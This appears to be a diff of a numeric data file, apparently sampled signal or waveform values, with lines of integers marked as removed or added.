-203 -338 -237 -33 --169 --322 --186 -16 -203 -338 -237 -33 --169 --322 --186 -16 -203 -338 -237 -33 --169 --305 --186 -16 -203 -338 -220 -33 --169 --322 --186 -16 -203 -338 -237 -33 --152 --305 --186 -16 -203 -355 -237 -33 --152 --305 --186 -16 -203 -338 -237 -33 --169 --322 --186 -16 -203 -338 -237 -33 --169 --305 --186 -16 -203 -338 -237 -33 --169 --305 --186 -16 -203 -338 -220 -33 --169 --322 --203 -16 -203 -338 -237 -33 --169 --305 --186 -16 -203 -338 -237 -33 --169 --305 --169 -33 -203 -355 -237 -33 --169 --322 --186 -16 -203 -338 -237 -33 --169 --305 --186 -16 -203 -338 -237 -33 --169 --322 --186 -16 -203 -338 -237 -33 --169 --322 --186 -16 -203 -338 -237 -33 --169 --305 --186 -16 -203 -338 -237 -33 --169 --305 --186 -16 -203 -355 -237 -33 --169 --305 --186 -16 -203 -338 -237 -33 --169 --305 --186 -16 -203 -338 -237 -33 --152 --305 --186 -16 -203 -355 -237 -33 --152 --305 --186 -16 -203 -338 -237 -33 --169 --305 --186 -16 -203 -338 -237 -33 --152 --305 --186 -16 -203 -355 -254 -50 --152 --305 --186 -16 -203 -338 -237 -33 --169 --305 --186 -16 -203 -355 -237 -33 --152 --305 --186 -33 -203 -338 -237 -33 --152 --305 --186 -16 -203 -338 -237 -33 --169 --305 --186 -16 -203 -355 -237 -33 --152 --305 --169 -33 -203 -355 -237 -33 --152 --305 --169 -33 -203 -355 -237 -33 --169 --322 --186 -16 -203 -338 -237 -33 --169 --305 --186 -16 -203 -338 -237 -33 --152 --305 --169 -16 -203 -338 -237 -33 --169 --322 --186 -16 -203 -338 -237 -33 --169 --305 --186 -33 -203 -355 -237 -33 --169 --305 --169 -33 -203 -355 -237 -33 --169 --322 --186 -16 -203 -338 -237 -33 --169 --305 --186 -16 -203 -338 -237 -33 --169 --322 --186 -16 -203 -338 -237 -33 --169 --322 --203 -16 -203 -338 -237 -33 --169 --305 --186 -16 -203 -355 -237 -33 --169 --305 --186 -33 -203 -355 -237 -33 --169 --305 --186 -16 -203 -338 -237 -33 --169 --305 --186 -16 -203 -355 -237 -33 --152 --305 --186 -16 -203 -355 -237 -33 --169 --305 --186 -16 -203 -338 -237 -33 --169 --305 --186 -16 -203 -355 -237 -33 --152 --305 --186 -16 -203 -355 -237 -50 --152 --305 --186 -16 -203 -338 -237 -33 --169 --322 --186 -16 -203 -338 -237 -33 --169 --305 --186 -16 -203 -338 -237 -33 --169 --305 --186 -16 -203 -338 -237 -33 --169 --305 --186 -16 -203 -338 -237 -33 --152 --305 --186 -33 -203 -355 -237 -33 --152 --305 --169 -33 -203 -338 -237 -33 --169 --322 --186 -16 -203 -338 -237 -33 --169 --305 --186 -16 -203 -338 -237 -33 --169 --305 --186 -16 -203 -338 -237 -33 --169 --322 --186 -16 -203 -338 -237 -33 --169 --305 --186 -16 -203 -355 -237 -33 --152 --305 --169 -33 -203 -355 -237 -33 --169 --305 --186 -16 -203 -355 -237 -33 --169 --305 --186 -16 -203 -355 -237 -33 --169 --305 --186 -33 -203 -355 -237 -33 --169 --305 --186 -16 -203 -338 -237 -33 --169 --305 --186 -16 -203 -355 -237 -33 --169 --305 --186 -33 -220 -372 -474 -305 -67 --152 --338 --491 --338 --101 -101 -271 -406 -271 -33 --169 --355 --474 --322 --101 -118 -288 -406 -288 -67 --152 --338 --457 --305 --84 -135 -305 -423 -288 -67 --135 --322 --457 --288 --67 -152 -322 -457 -305 -84 --135 --305 --440 --288 --50 -169 -338 -237 -50 --135 --288 --152 -50 -254 -389 -288 -84 --118 --271 --135 -67 -254 -389 -288 -84 --118 --271 --135 -50 -254 -389 -271 -67 --135 --288 --152 -50 -237 -372 -254 -50 --152 --288 --169 -33 -220 -372 -254 -50 --152 --305 --169 -33 -220 -372 -254 -50 --152 --305 --186 -33 -203 -355 -237 -33 --152 --305 --186 -16 -203 -355 -237 -33 --152 --305 --186 -33 -203 -355 -237 -33 --152 --305 --186 -16 -203 -338 -237 -33 --169 --305 --186 -16 -203 -355 -237 -33 --152 --305 --186 -16 -203 -355 -237 -33 --152 --305 --169 -33 -220 -355 -237 -33 --169 --305 --186 -16 -203 -355 -237 -33 --152 --305 --169 -33 -203 -355 -237 -33 --152 --305 --169 -16 -203 -338 -237 -33 --169 --322 --186 -16 -203 -338 -237 -33 --169 --322 --186 -16 -203 -338 -237 -33 --169 --305 --169 -33 -203 -355 -237 -33 --169 --322 --186 -16 -203 -338 -237 -33 --169 --305 --186 -16 -203 -338 -237 -33 --169 --322 --186 -16 -203 -338 -237 -33 --169 --322 --203 -16 -203 -338 -237 -33 --169 --322 --186 -16 -203 -338 -237 -33 --169 --305 --186 -16 -203 -355 -237 -33 --169 --322 --186 -16 -203 -338 -220 -33 --169 --322 --186 -16 -203 -338 -237 -33 --169 --305 --186 -16 -203 -355 -237 -33 --152 --305 --186 -16 -203 -338 -237 -33 --152 --305 --186 -33 -203 -355 -237 -33 --152 --305 --186 -16 -203 -355 -237 -50 --152 --305 --186 -16 -203 -338 -237 -33 --169 --305 --186 -16 -203 -338 -237 -33 --169 --305 --186 -16 -203 -338 -237 -33 --169 --305 --186 -16 -203 -338 -237 -33 --169 --305 --186 -16 -203 -338 -237 -33 --152 --305 --186 -16 -203 -338 -237 -33 --152 --305 --169 -33 -203 -355 -237 -33 --169 --305 --186 -16 -203 -355 -237 -33 --152 --305 --169 -33 -203 -355 -237 -33 --152 --305 --169 -33 -203 -355 -237 -33 --169 --305 --186 -16 -203 -338 -237 -33 --169 --305 --186 -16 -203 -355 -237 -33 --169 --305 --169 -16 -203 -355 -457 -305 -50 --169 --355 --491 --338 --101 -101 -271 -406 -271 -50 --169 --355 --474 --322 --101 -118 -288 -423 -288 -67 --152 --338 --457 --305 --67 -135 -305 -440 -305 -67 --135 --322 --440 --288 --67 -152 -322 -457 -305 -84 --118 --305 --423 --271 --33 -186 -338 -237 -50 --135 --271 --135 -67 -254 -406 -288 -84 --118 --254 --135 -67 -254 -406 -288 -84 --118 --271 --135 -67 -254 -389 -271 -67 --135 --288 --169 -33 -220 -372 -254 -50 --152 --305 --169 -33 -220 -372 -254 -50 --152 --305 --169 -33 -220 -372 -237 -33 --152 --305 --186 -16 -203 -355 -237 -33 --169 --305 --186 -16 -203 -355 -237 -33 --169 --305 --186 -16 -203 -355 -237 -33 --152 --305 --186 -16 -203 -338 -237 -33 --152 --305 --169 -33 -220 -355 -254 -50 --152 --288 --169 -33 -237 -372 -271 -84 --118 --271 --135 -67 -254 -406 -288 -84 --118 --271 --135 -50 -237 -389 -271 -67 --135 --288 --169 -33 -220 -355 -254 -50 --152 --305 --186 -16 -203 -338 -220 -16 --169 --322 --203 -0 -186 -338 -220 -16 --169 --322 --203 -0 -186 -322 -220 -16 --169 --322 --203 -0 -186 -322 -203 -16 --186 --338 --203 -0 -186 -322 -220 -16 --169 --322 --203 -16 -203 -338 -220 -33 --169 --322 --186 -16 -203 -338 -220 -16 --169 --322 --203 -16 -186 -338 -220 -33 --169 --305 --186 -16 -203 -338 -237 -33 --169 --305 --186 -33 -203 -355 -237 -33 --169 --322 --186 -16 -203 -355 -237 -33 --152 --305 --186 -16 -203 -355 -237 -33 --169 --305 --186 -16 -203 -355 -237 -33 --169 --305 --186 -16 -203 -338 -237 -33 --169 --305 --186 -16 -203 -355 -237 -33 --169 --305 --186 -33 -220 -355 -237 -33 --152 --305 --186 -16 -203 -355 -237 -33 --152 --305 --186 -33 -203 -355 -237 -33 --152 --305 --186 -16 -203 -355 -237 -33 --169 --305 --186 -16 -203 -338 -237 -33 --169 --305 --186 -16 -203 -338 -237 -33 --152 --305 --186 -16 -203 -355 -237 -33 --152 --305 --186 -16 -203 -338 -237 -33 --169 --305 --186 -16 -203 -355 -254 -50 --135 --288 --152 -50 -237 -372 -271 -67 --135 --288 --169 -33 -203 -355 -220 -33 --169 --322 --203 -16 -203 -338 -220 -33 --169 --322 --203 -16 -186 -338 -220 -33 --169 --338 --491 --338 --101 -101 -271 -406 -271 -50 --169 --338 --474 --322 --84 -118 -305 -423 -288 -67 --152 --322 --457 --305 --67 -135 -305 -440 -305 -84 --135 --322 --457 --288 --67 -152 -322 -440 -305 -84 --135 --305 --440 --271 --50 -152 -322 -457 -322 -101 --84 --254 --118 -67 -254 -389 -271 -67 --135 --271 --152 -50 -237 -372 -254 -50 --135 --288 --169 -33 -220 -372 -254 -50 --152 --288 --169 -33 -220 -355 -237 -33 --169 --305 --186 -16 -203 -338 -237 -33 --152 --305 --169 -33 -203 -355 -237 -33 --152 --305 --169 -33 -203 -355 -237 -33 --169 --322 --186 -16 -203 -355 -237 -33 --152 --305 --169 -33 -203 -355 -237 -33 --152 --305 --186 -33 -203 -355 -237 -33 --169 --305 --186 -16 -203 -355 -237 -33 --152 --305 --169 -33 -220 -355 -254 -50 --152 --305 --169 -50 -237 -372 -271 -67 --135 --271 --152 -50 -237 -389 -271 -67 --118 --254 --135 -67 -271 -406 -288 -84 --118 --271 --135 -67 -254 -389 -271 -67 --135 --288 --169 -33 -203 -355 -237 -33 --169 --322 --186 -16 -203 -338 -220 -33 --169 --322 --203 -0 -186 -338 -220 -16 --169 --338 --203 -0 -186 -322 -203 -16 --186 --338 --203 -0 -186 -322 -203 -16 --186 --338 --203 -0 -186 -322 -220 -16 --169 --322 --203 -0 -186 -322 -203 -16 --186 --338 --203 -0 -186 -338 -220 -16 --169 --322 --203 -16 -186 -338 -220 -33 --169 --322 --186 -16 -186 -338 -220 -16 --169 --322 --203 -0 -186 -338 -220 -16 --169 --322 --186 -16 -203 -338 -237 -33 --169 --305 --186 -16 -203 -338 -220 -33 --169 --322 --203 -16 -203 -338 -220 -33 --169 --305 --186 -16 -203 -338 -237 -33 --169 --305 --186 -16 -203 -338 -237 -33 --169 --322 --186 -16 -203 -338 -237 -33 --169 --305 --186 -16 -203 -338 -237 -33 --169 --305 --186 -33 -203 -355 -237 -33 --169 --322 --186 -16 -203 -338 -237 -33 --169 --305 --186 -16 -203 -355 -237 -33 --152 --305 --186 -33 -220 -355 -237 -33 --152 --305 --186 -16 -203 -338 -237 -33 --169 --305 --186 -16 -203 -355 -237 -33 --152 --305 --186 -16 -203 -355 -237 -33 --152 --305 --186 -16 -203 -355 -237 -33 --152 --305 --186 -33 -203 -355 -237 -33 --152 --305 --186 -16 -203 -355 -254 -33 --186 --355 --491 --338 --101 -101 -288 -423 -288 -67 --152 --338 --457 --305 --67 -135 -305 -440 -305 -84 --135 --322 --440 --288 --67 -152 -322 -440 -305 -84 --135 --305 --440 --288 --67 -152 -322 -457 -305 -84 --118 --305 --440 --271 --50 -152 -322 -457 -338 -118 --67 --237 --118 -84 -271 -406 -288 -84 --118 --271 --152 -50 -237 -372 -271 -67 --135 --288 --169 -33 -220 -372 -254 -50 --135 --288 --169 -33 -220 -372 -237 -33 --152 --305 --169 -33 -220 -355 -254 -50 --152 --288 --169 -33 -220 -372 -254 -50 --135 --288 --169 -33 -220 -355 -237 -33 --169 --305 --186 -16 -203 -355 -237 -33 --169 --305 --186 -16 -203 -338 -237 -33 --169 --305 --186 -16 -203 -338 -237 -33 --169 --322 --186 -16 -203 -338 -237 -33 --169 --305 --186 -16 -203 -338 -237 -33 --169 --305 --169 -33 -203 -355 -237 -33 --169 --322 --186 -16 -203 -338 -237 -33 --169 --305 --186 -16 -203 -355 -237 -33 --169 --305 --186 -33 -203 -355 -237 -33 --169 --322 --186 -16 -203 -338 -237 -33 --169 --305 --186 -16 -203 -338 -237 -33 --169 --305 --186 -33 -220 -372 -254 -50 --152 --305 --169 -33 -220 -372 -254 -50 --152 --305 --169 -33 -203 -355 -237 -33 --169 --322 --203 -0 -186 -338 -220 -16 --169 --322 --203 -0 -186 -338 -220 -16 --169 --322 --203 -16 -203 -338 -220 -33 --169 --322 --203 -0 -203 -338 -237 -33 --169 --322 --203 -0 -186 -338 -220 -16 --169 --322 --203 -16 -203 -338 -220 -33 --169 --322 --203 -16 -203 -338 -237 -33 --169 --322 --203 -16 -203 -338 -220 -33 --169 --322 --203 -16 -203 -338 -237 -33 --169 --305 --186 -16 -203 -338 -237 -33 --152 --305 --186 -16 -203 -338 -237 -33 --169 --322 --186 -16 -203 -338 -237 -33 --152 --305 --186 -16 -203 -355 -237 -33 --152 --305 --169 -33 -203 -355 -237 -33 --169 --305 --186 -16 -203 -355 -237 -33 --152 --305 --186 -33 -203 -355 -237 -33 --169 --305 --169 -33 -203 -355 -237 -33 --169 --322 --186 -16 -203 -338 -237 -33 --169 --305 --186 -16 -203 -355 -237 -33 --169 --305 --186 -33 -203 -355 -237 -33 --169 --322 --186 -16 -203 -338 -237 -33 --169 --305 --186 -33 -203 -355 -237 -33 --152 --305 --186 -33 -220 -372 -474 -322 -67 --152 --338 --474 --322 --101 -101 -271 -406 -271 -33 --169 --355 --474 --322 --101 -118 -288 -423 -288 -50 --152 --338 --457 --305 --84 -135 -305 -440 -305 -67 --135 --322 --457 --288 --67 -152 -322 -457 -322 -84 --135 --305 --440 --288 --50 -169 -338 -237 -50 --135 --271 --152 -50 -254 -406 -288 -84 --101 --254 --135 -67 -271 -406 -288 -84 --118 --271 --135 -67 -254 -389 -271 -67 --135 --271 --152 -50 -237 -372 -254 -50 --135 --288 --169 -33 -220 -372 -254 -50 --152 --305 --169 -33 -220 -372 -254 -50 --152 --305 --169 -33 -203 -355 -237 -33 --169 --305 --186 -16 -203 -355 -237 -33 --152 --305 --186 -16 -203 -338 -237 -33 --152 --305 --186 -16 -203 -338 -237 -33 --169 --322 --186 -16 -203 -338 -237 -33 --169 --305 --186 -16 -203 -338 -237 -33 --152 --305 --186 -33 -203 -338 -237 -33 --169 --322 --186 -16 -203 -338 -237 -33 --169 --305 --186 -16 -203 -355 -237 -33 --152 --305 --186 -16 -203 -338 -237 -33 --169 --322 --186 -16 -203 -338 -237 -33 --169 --305 --186 -16 -203 -338 -237 -33 --169 --305 --169 -16 -203 -338 -237 -33 --169 --322 --186 -16 -203 -338 -237 -33 --169 --305 --186 -16 -203 -338 -237 -33 --169 --322 --186 -16 -203 -338 -237 -33 --169 --305 --186 -16 -203 -355 -237 -33 --152 --305 --186 -33 -203 -355 -237 -33 --169 --305 --186 -16 -203 -355 -237 -33 --169 --305 --186 -16 -203 -338 -237 -33 --169 --305 --186 -16 -203 -355 -237 -33 --152 --305 --186 -16 -203 -355 -237 -33 --152 --305 --186 -16 -203 -338 -237 -33 --169 --305 --186 -16 -203 -338 -237 -33 --169 --305 --186 -16 -203 -355 -237 -33 --152 --305 --186 -16 -203 -338 -237 -33 --169 --305 --186 -16 -203 -338 -237 -33 --169 --305 --186 -16 -203 -355 -237 -33 --152 --305 --186 -16 -203 -338 -237 -33 --169 --305 --186 -16 -203 -338 -237 -33 --152 --305 --169 -33 -203 -355 -237 -33 --152 --305 --169 -33 -203 -355 -237 -33 --169 --322 --186 -16 -203 -338 -237 -33 --152 --305 --186 -33 -203 -355 -237 -33 --152 --305 --186 -33 -203 -338 -237 -33 --169 --322 --186 -16 -203 -338 -237 -33 --169 --305 --186 -16 -203 -338 -237 -33 --169 --305 --186 -16 -203 -355 -457 -305 -67 --152 --355 --474 --338 --101 -101 -271 -406 -271 -50 --169 --355 --474 --322 --101 -118 -288 -423 -288 -67 --152 --338 --457 --305 --84 -118 -305 -440 -305 -67 --135 --322 --457 --288 --67 -135 -322 -440 -305 -84 --135 --305 --440 --271 --33 -169 -338 -237 -50 --135 --288 --152 -67 -254 -406 -288 -84 --101 --254 --135 -67 -254 -406 -288 -84 --118 --271 --152 -50 -237 -389 -271 -67 --135 --288 --169 -33 -237 -372 -254 -50 --135 --288 --169 -33 -220 -372 -254 -50 --152 --305 --169 -33 -220 -372 -254 -33 --152 --305 --186 -16 -203 -355 -237 -33 --169 --305 --186 -33 -203 -355 -237 -33 --152 --305 --186 -16 -203 -355 -237 -33 --169 --305 --186 -16 -203 -338 -237 -33 --169 --305 --186 -16 -203 -355 -237 -33 --152 --305 --186 -33 -203 -355 -237 -50 --152 --305 --186 -16 -203 -338 -237 -33 --169 --305 --186 -16 -203 -355 -237 -33 --152 --305 --186 -16 -203 -355 -237 -50 --152 --305 --186 -16 -203 -355 -237 -33 --169 --305 --186 -16 -203 -338 -237 -33 --169 --305 --186 -16 -203 -338 -237 -33 --152 --305 --186 -16 -203 -338 -237 -33 --169 --322 --186 -16 -203 -338 -237 -33 --169 --305 --186 -16 -203 -338 -237 -33 --169 --305 --186 -16 -203 -338 -237 -33 --169 --322 --203 -16 -203 -338 -237 -33 --169 --305 --186 -16 -203 -338 -237 -33 --169 --322 --186 -16 -203 -338 -237 -33 --169 --322 --186 -16 -203 -338 -220 -33 --169 --322 --186 -16 -203 -338 -237 -33 --169 --322 --186 -16 -203 -338 -237 -33 --169 --322 --203 -16 -203 -338 -237 -33 --169 --305 --186 -33 -203 -355 -237 -33 --152 --305 --169 -33 -220 -355 -237 -33 --152 --305 --186 -16 -203 -355 -237 -33 --152 --305 --186 -33 -203 -355 -237 -33 --152 --305 --186 -16 -203 -355 -237 -33 --169 --305 --186 -16 -203 -338 -237 -33 --169 --305 --186 -16 -203 -355 -237 -33 --152 --305 --186 -16 -203 -355 -237 -33 --152 --305 --186 -16 -203 -338 -220 -33 --169 --322 --186 -16 -203 -338 -237 -33 --152 --305 --186 -16 -203 -338 -237 -33 --152 --305 --186 -16 -203 -338 -237 -33 --152 --305 --186 -16 -203 -355 -237 -33 --152 --305 --169 -33 -203 -355 -237 -33 --152 --338 --474 --322 --84 -118 -288 -406 -271 -50 --152 --338 --474 --305 --84 -135 -305 -440 -305 -67 --135 --322 --457 --288 --67 -152 -322 -440 -305 -84 --135 --322 --457 --288 --67 -152 -322 -457 -305 -84 --118 --305 --440 --271 --50 -169 -338 -457 -322 -101 --84 --237 --118 -67 -254 -389 -271 -67 --135 --271 --152 -50 -237 -372 -271 -67 --135 --288 --169 -33 -220 -372 -254 -50 --152 --288 --169 -33 -220 -372 -254 -50 --152 --305 --169 -33 -220 -355 -237 -33 --152 --305 --169 -33 -203 -355 -237 -33 --152 --305 --169 -33 -220 -355 -237 -33 --169 --305 --186 -16 -203 -338 -237 -33 --169 --305 --186 -16 -203 -338 -237 -33 --169 --305 --186 -33 -203 -355 -237 -33 --169 --305 --186 -16 -203 -355 -237 -33 --152 --305 --186 -33 -203 -355 -237 -33 --152 --305 --186 -33 -220 -355 -237 -33 --169 --305 --186 -16 -203 -338 -237 -33 --169 --305 --186 -16 -203 -355 -237 -33 --169 --305 --186 -16 -203 -338 -237 -33 --169 --305 --186 -16 -203 -338 -237 -33 --169 --322 --186 -16 -203 -338 -237 -33 --152 --305 --186 -16 -203 -355 -237 -33 --152 --305 --186 -16 -203 -338 -237 -33 --169 --322 --186 -16 -203 -355 -237 -33 --152 --305 --169 -33 -203 -355 -237 -33 --152 --305 --186 -16 -203 -338 -237 -33 --169 --305 --186 -16 -203 -355 -237 -33 --152 --305 --169 -33 -220 -355 -254 -50 --135 --271 --152 -50 -237 -389 -271 -67 --135 --271 --135 -67 -254 -389 -271 -67 --135 --288 --152 -33 -220 -355 -237 -33 --152 --305 --186 -16 -203 -338 -220 -16 --169 --322 --203 -16 -203 -338 -220 -16 --169 --322 --203 -0 -186 -338 -220 -16 --186 --322 --203 -16 -186 -338 -220 -16 --186 --338 --203 -0 -186 -338 -220 -16 --169 --322 --203 -16 -203 -338 -220 -33 --169 --322 --186 -16 -203 -338 -220 -33 --169 --322 --203 -16 -186 -338 -220 -33 --169 --322 --203 -16 -203 -338 -237 -33 --169 --322 --186 -16 -203 -338 -237 -33 --169 --322 --203 -16 -203 -338 -220 -33 --169 --322 --186 -16 -203 -338 -237 -33 --169 --305 --186 -16 -203 -355 -237 -33 --169 --305 --186 -16 -203 -338 -237 -33 --169 --305 --186 -16 -203 -355 -237 -33 --169 --305 --186 -16 -203 -338 -237 -16 --186 --372 --491 --338 --101 -101 -288 -406 -271 -50 --152 --338 --474 --305 --84 -135 -305 -440 -305 -67 --135 --322 --440 --288 --67 -152 -322 -440 -305 -84 --135 --322 --440 --288 --67 -152 -322 -457 -322 -101 --118 --305 --440 --271 --50 -169 -338 -474 -338 -135 --67 --237 --118 -84 -271 -406 -288 -84 --118 --271 --152 -50 -237 -372 -271 -67 --135 --288 --152 -50 -237 -372 -254 -50 --135 --288 --169 -33 -220 -355 -237 -50 --152 --305 --169 -33 -220 -355 -254 -50 --152 --305 --169 -33 -220 -355 -237 -50 --135 --288 --169 -33 -220 -355 -237 -33 --152 --305 --186 -16 -203 -355 -237 -33 --152 --305 --186 -33 -203 -355 -237 -33 --152 --305 --169 -33 -203 -355 -237 -33 --169 --305 --186 -16 -203 -338 -237 -33 --152 --305 --169 -33 -220 -372 -254 -50 --135 --288 --152 -50 -237 -389 -271 -67 --135 --271 --152 -50 -254 -389 -288 -84 --101 --254 --135 -84 -271 -406 -288 -84 --118 --271 --135 -67 -237 -372 -254 -50 --152 --305 --186 -16 -203 -338 -220 -16 --169 --322 --203 -0 -186 -322 -220 -16 --186 --338 --203 -0 -186 -322 -220 -16 --186 --338 --220 +-80 +-109 +-71 -16 -186 -322 -203 -16 --186 --338 --203 -0 -186 -322 -220 -16 --186 --338 --203 -0 -186 -338 -220 -16 --186 --338 --203 -0 -186 -322 -220 -16 --169 --322 --203 -0 -203 -338 -220 -33 --169 --322 --203 -16 -203 -338 -237 -33 --169 --305 --186 -16 -203 -338 -237 -33 --169 --322 --186 -16 -203 -338 -237 -33 --169 --322 --203 -16 -203 -338 -237 -33 --169 --322 --186 -16 -203 -338 -220 -33 --169 --322 --203 -16 -203 -338 -237 -33 --169 --305 --186 -16 -203 -338 -237 -33 --152 --305 --186 -16 -203 -338 -237 -33 --169 --322 --186 -16 -203 -338 -220 -33 --169 --322 --186 -16 -203 -338 -220 -33 --169 --305 --186 -16 -203 -338 -237 -33 --169 --322 --186 -16 -203 -338 -237 -33 --152 --305 --169 -33 -203 -355 -237 -33 --152 --305 --169 -33 -203 -355 -237 -33 --152 --305 --186 -16 -203 -355 -237 -33 --152 --305 --186 -33 -203 -355 -237 -33 --152 --305 --169 -33 -203 -355 -237 -33 --169 --305 --186 -16 -203 -355 -237 -33 --169 --305 --186 -33 -203 -355 -237 -33 --169 --305 --186 -16 -220 -372 -474 -305 -67 --152 --338 --474 --322 --101 -101 -271 -406 -271 -50 --169 --355 --474 --322 --84 -118 -305 -423 -288 -67 --152 --338 --457 --305 +38 +80 +110 +76 +21 +-33 +-76 +-109 +-71 +-12 +38 +80 +114 +76 +21 +-29 +-76 +-109 -67 -135 -305 -440 -305 -67 --135 --322 --440 --288 --67 -152 -322 -457 -305 +-12 +38 +80 +114 84 --135 --305 --440 --288 --50 -169 -322 -237 -50 --135 --288 --152 -50 -254 -389 -288 -84 --118 --254 --135 -67 -254 -406 -288 -84 --118 --271 --135 -67 -254 -406 -288 -84 --101 --254 --135 -67 -254 -406 -288 -84 --101 --254 --118 -84 -271 -423 -305 -101 --84 --237 --118 -84 -271 -423 -305 -101 --101 --254 --135 -67 -254 -406 -288 -84 --118 --271 --152 -50 -237 -372 -254 -50 --152 --305 --186 -16 -203 -338 -220 -16 --169 --338 --203 -0 -186 -322 -203 -0 --186 --338 --220 +34 -16 -169 -322 -203 -0 --186 --338 --220 +-59 +-29 +21 +63 +101 +68 +17 +-29 +-67 +-37 +12 +59 +93 +63 +12 +-33 +-71 +-42 +8 +55 +93 +63 +12 +-33 +-76 +-42 +8 +55 +89 +59 +8 +-37 +-76 +-46 +8 +51 +89 +59 +12 +-37 +-76 +-42 +8 +51 +89 +59 +8 +-37 +-76 +-42 +8 +51 +89 +59 +8 +-42 +-80 +-46 +4 +51 +84 +59 +8 +-42 +-76 +-46 +4 +51 +89 +59 +8 +-42 +-76 +-46 +4 +51 +84 +59 +8 +-42 +-80 +-50 +4 +51 +84 +59 +8 +-42 +-76 +-46 +4 +51 +84 +59 +8 +-42 +-76 +-46 +8 +51 +89 +59 +8 +-42 +-80 +-46 +4 +51 +84 +59 +8 +-42 +-76 +-46 +4 +51 +84 +59 +8 +-42 +-76 +-46 +4 +51 +84 +59 +8 +-42 +-80 +-46 +4 +51 +84 +59 +8 +-42 +-76 +-46 +4 +51 +89 +59 +8 +-42 +-76 +-46 +4 +51 +89 +59 +8 +-42 +-76 +-46 +4 +51 +84 +59 +8 +-42 +-76 +-46 +4 +51 +89 +59 +8 +-37 +-76 +-46 +4 +51 +89 +59 +8 +-42 +-76 +-46 +4 +51 +84 +59 +8 +-42 +-80 +-46 +4 +51 +84 +59 +8 +-42 +-76 +-46 +4 +51 +89 +59 +8 +-37 +-76 +-46 +4 +51 +84 +55 +8 +-42 +-76 +-46 +4 +51 +84 +59 +8 +-42 +-76 +-46 +4 +51 +84 +59 +8 +-37 +-76 +-46 +4 +51 +84 +55 +8 +-42 +-80 +-46 +4 +51 +84 +59 +8 +-42 +-76 +-46 +4 +51 +84 +59 +8 +-37 +-76 +-42 +8 +51 +89 +59 +8 +-42 +-76 +-46 +4 +51 +84 +59 +8 +-42 +-76 +-46 +4 +51 +84 +59 +8 +-37 +-76 +-46 +4 +51 +84 +59 +8 +-42 +-80 +-46 +4 +51 +84 +59 +8 +-42 +-76 +-46 +4 +51 +84 +59 +8 +-42 +-76 +-42 +8 +51 +89 +59 +8 +-42 +-76 +-46 +4 +51 +84 +59 +8 +-42 +-76 +-46 +8 +51 +89 +59 +8 +-37 +-76 +-42 +8 +55 +89 +59 +8 +-37 +-76 +-46 +8 +51 +89 +59 +8 +-37 +-76 +-42 +8 +55 +89 +59 +8 +-37 +-76 +-46 +8 +55 +93 +118 +76 +17 +-37 +-88 +-122 +-84 +-25 +25 +68 +97 +63 +8 +-42 +-88 +-122 +-84 +-25 +25 +72 +101 +68 +12 +-37 +-84 +-118 +-76 +-20 +29 +76 +106 +76 +17 +-37 +-80 +-114 +-76 -16 -169 -305 -203 -0 --186 --338 --220 +34 +80 +110 +76 +21 +-33 +-76 +-109 +-71 +-12 +42 +80 +59 +12 +-33 +-67 +-37 +17 +63 +101 +72 +21 +-29 +-63 +-33 +17 +63 +101 +72 +21 +-29 +-67 +-33 +17 +63 +97 +68 +17 +-33 +-71 +-37 +12 +59 +93 +63 +12 +-33 +-71 +-42 +8 +55 +93 +63 +12 +-37 +-76 +-42 +8 +55 +89 +63 +12 +-37 +-76 +-42 +8 +51 +89 +59 +8 +-42 +-76 +-46 +4 +51 +84 +59 +8 +-37 +-76 +-46 +8 +51 +89 +59 +8 +-37 +-76 +-46 +4 +51 +84 +59 +8 +-42 +-76 +-46 +4 +51 +89 +59 +8 +-37 +-76 +-42 +8 +51 +89 +59 +8 +-37 +-76 +-42 +8 +51 +89 +59 +8 +-42 +-80 +-46 +4 +51 +84 +59 +8 +-42 +-76 +-46 +4 +51 +89 +59 +8 +-37 +-76 +-46 +4 +51 +84 +59 +8 +-42 +-80 +-46 +4 +51 +84 +59 +8 +-42 +-76 +-46 +4 +51 +84 +59 +8 +-42 +-76 +-46 +4 +51 +84 +59 +8 +-42 +-80 +-46 +4 +51 +84 +59 +8 +-42 +-76 +-46 +4 +51 +84 +59 +8 +-42 +-80 +-46 +8 +51 +89 +59 +8 +-42 +-80 +-46 +4 +51 +84 +59 +8 +-42 +-76 +-46 +4 +51 +89 +59 +8 +-42 +-76 +-46 +8 +55 +89 +59 +8 +-42 +-76 +-46 +4 +51 +84 +59 +8 +-42 +-76 +-46 +4 +51 +89 +59 +8 +-42 +-76 +-46 +4 +51 +89 +59 +8 +-42 +-76 +-46 +4 +51 +84 +59 +8 +-42 +-80 +-46 +4 +51 +84 +59 +8 +-42 +-76 +-46 +4 +51 +84 +59 +8 +-37 +-76 +-46 +4 +51 +84 +59 +8 +-42 +-76 +-46 +4 +51 +89 +59 +8 +-37 +-76 +-46 +4 +51 +84 +59 +8 +-37 +-76 +-46 +4 +51 +84 +59 +8 +-42 +-76 +-46 +4 +51 +89 +59 +8 +-37 +-76 +-46 +4 +51 +84 +59 +8 +-37 +-76 +-46 +4 +51 +84 +59 +8 +-42 +-80 +-46 +4 +51 +84 +59 +8 +-42 +-76 +-46 +4 +51 +84 +59 +8 +-42 +-76 +-46 +4 +51 +84 +59 +8 +-42 +-80 +-46 +4 +51 +84 +59 +8 +-42 +-76 +-46 +4 +51 +89 +59 +8 +-42 +-76 +-42 +8 +51 +89 +114 +76 +17 +-37 +-84 +-118 +-84 +-25 +25 +68 +101 +68 +8 +-42 +-88 +-118 +-80 +-25 +25 +72 +101 +72 +12 +-37 +-84 +-118 +-80 +-20 +29 +76 +106 +72 +17 +-37 +-80 +-114 +-76 -16 -169 -322 -203 -0 --203 --338 --220 +34 +80 +110 +76 +17 +-33 +-80 +-109 +-67 +-8 +42 +84 +59 +12 +-33 +-71 +-37 +17 +63 +97 +72 +21 +-29 +-63 +-33 +17 +63 +101 +72 +21 +-29 +-67 +-33 +17 +59 +97 +68 +17 +-33 +-71 +-37 +8 +55 +93 +63 +12 +-33 +-71 +-42 +8 +55 +93 +63 +12 +-37 +-76 +-42 +8 +55 +93 +63 +12 +-37 +-76 +-42 +8 +51 +89 +59 +8 +-37 +-76 +-46 +8 +51 +89 +59 +8 +-37 +-76 +-46 +8 +51 +89 +59 +8 +-37 +-76 +-46 +4 +51 +84 +59 +8 +-42 +-76 +-46 +4 +51 +84 +59 +8 +-42 +-76 +-46 +4 +51 +84 +59 +8 +-42 +-76 +-46 +4 +51 +84 +55 +8 +-42 +-80 +-50 +4 +51 +84 +59 +8 +-42 +-80 +-46 +4 +51 +84 +59 +8 +-42 +-76 +-46 +4 +51 +84 +55 +8 +-42 +-80 +-46 +4 +51 +84 +59 +8 +-37 +-76 +-46 +8 +51 +89 